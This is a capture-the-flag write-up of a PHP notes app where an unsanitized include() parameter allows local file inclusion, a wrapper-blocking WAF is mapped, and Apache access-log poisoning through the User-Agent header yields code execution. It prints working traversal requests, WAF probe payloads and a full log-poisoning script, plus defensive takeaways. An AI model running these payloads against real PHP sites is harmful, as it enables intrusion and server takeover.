[ writeup · case #035 ]
Quillpad
A PHP notes app includes pages by name (?page=) with no sanitization — Local File Inclusion. A WAF blocks php:// stream wrappers, so I poison the readable Apache access log via the User-Agent header and include the log for RCE, then read /flag.txt.
CTF: Securinets ENIT
Category: Web
Author: m0rgxn
Target: http://web.securinets-enit.club:8002/
Flag: SecurinetsENIT{p01s0n_th3_l0g_1nclud3_th3_l0g_pr0f1t}
TL;DR
A PHP notes app includes pages by name (?page=) with no sanitization → Local File Inclusion. A WAF blocks PHP stream wrappers (php://, data://, …), killing the usual php://filter source-read and php://input RCE. Pivot: the Apache access log is readable via the LFI, so poison the User-Agent with PHP, then include the log → RCE. Read /flag.txt.
Recon
The homepage is a PHP 8.2 app ("Quillpad - Team Notes") behind Apache/2.4.68 (Debian). Two hints on the pages:
- Home: "the renderer loads pages by name."
- Help: "Uploads are disabled and fancy PHP wrappers are filtered by our WAF."
Pages are loaded as ?page=home / ?page=help.
1. Local File Inclusion
The page parameter is passed straight to include():
?page=home.php
→ Warning: include(home.php): Failed to open stream ... in /var/www/html/index.php on line 43So line 43 is literally include($_GET['page']) with no prefix, suffix, or path restriction. Traversal and absolute paths both work:
curl 'http://web.securinets-enit.club:8002/?page=../../../etc/passwd'
curl 'http://web.securinets-enit.club:8002/?page=/etc/passwd'
# → root:x:0:0:root:/root:/bin/bash ...?page=home%00 showed include() truncating at the null byte — confirming raw, unfiltered inclusion.
2. Mapping the WAF
The obvious next steps — read the source with php://filter or get RCE with php://input — both returned 403 Forbidden:
?page=php://filter/convert.base64-encode/resource=index.php # 403
?page=php://input # 403Probing what exactly triggers the WAF:
| Payload | Result |
|---|---|
phpinfo, php:, ://filter, filter/resource=x | 200 (allowed) |
xphp://y (substring in the middle) | 403 |
php://, data://, expect://, zip://, phar://, glob:// | 403 |
file:// | 200 (allowed!) |
So the WAF is a substring denylist of wrapper schemes (php://, data://, expect://, zip://, phar://, glob://). file:// is not on the list but doesn't help (it still executes on include and offers no base64/filter).
Bypass attempts that failed
- Encoding (
%2f%2f,%3a, double-encoding): the WAF and PHP's$_GETboth URL-decode exactly once, so any form that reaches PHP asphp://is also seen by the WAF. - Case (
PhP://): WAF is case-insensitive. - Request smuggling via POST/Cookie: the app reads only
$_GET['page'](confirmed with the non-defaulthelppage), so POST/cookie values are ignored.
php://filter source-read was genuinely dead.
3. LFI → RCE via Log Poisoning
The Apache access log was readable through the LFI:
?page=/var/log/apache2/access.log # dumps the log as textSince include() executes any <?php ?> found in the included file, I can write PHP into the log (via a request field that gets logged) and then include the log.
Gotcha: Apache's log format escapes " as \". A payload containing double quotes becomes a PHP parse error, and because PHP parses the entire included file before executing, a single bad line fatals the whole log-include — for everyone. (The shared box had other players/scanners constantly poisoning the logs with broken PHP.)
Solution: use a single-quote-only payload and a unique marker per request so my output is isolable from the noise.
H="http://web.securinets-enit.club:8002"
M="Q7X2a"
# 1) Poison: PHP in User-Agent (single quotes only)
UA="<?php echo '<$M>'; system('cat /flag.txt 2>&1'); echo '</$M>'; ?>"
curl -s "$H/?page=home" -A "$UA" >/dev/null
# 2) Execute: include the log, extract the marked block (multiline-safe)
curl -s "$H/?page=/var/log/apache2/access.log" \
| perl -0777 -ne 'print $1 if /<'"$M"'>(.*?)<\/'"$M"'>/s'system() worked and disable_functions was empty — full RCE.
4. Finding the flag
glob('/flag_*') matched nothing; ls -la / showed only flag.txt (the challenge's /flag_xxxxxx.txt resolved to plain /flag.txt). An HTTP ?page=/flag.txt had earlier shown a decoy Not found., but reading it through the RCE gave the real flag:
[FLAGTXT]SecurinetsENIT{p01s0n_th3_l0g_1nclud3_th3_l0g_pr0f1t}The flag text itself spells out the intended path: poison the log, include the log, profit.
Flag
SecurinetsENIT{p01s0n_th3_l0g_1nclud3_th3_l0g_pr0f1t}Takeaways
- Never pass user input to
include(); use an allowlist of page names. - A scheme-denylist WAF is not a fix — it left
file://open and, more importantly, left the underlying LFI fully exploitable via log poisoning. - Log-poisoning payloads must avoid characters the log format escapes (notably
"), since one parse error breaks the whole included file.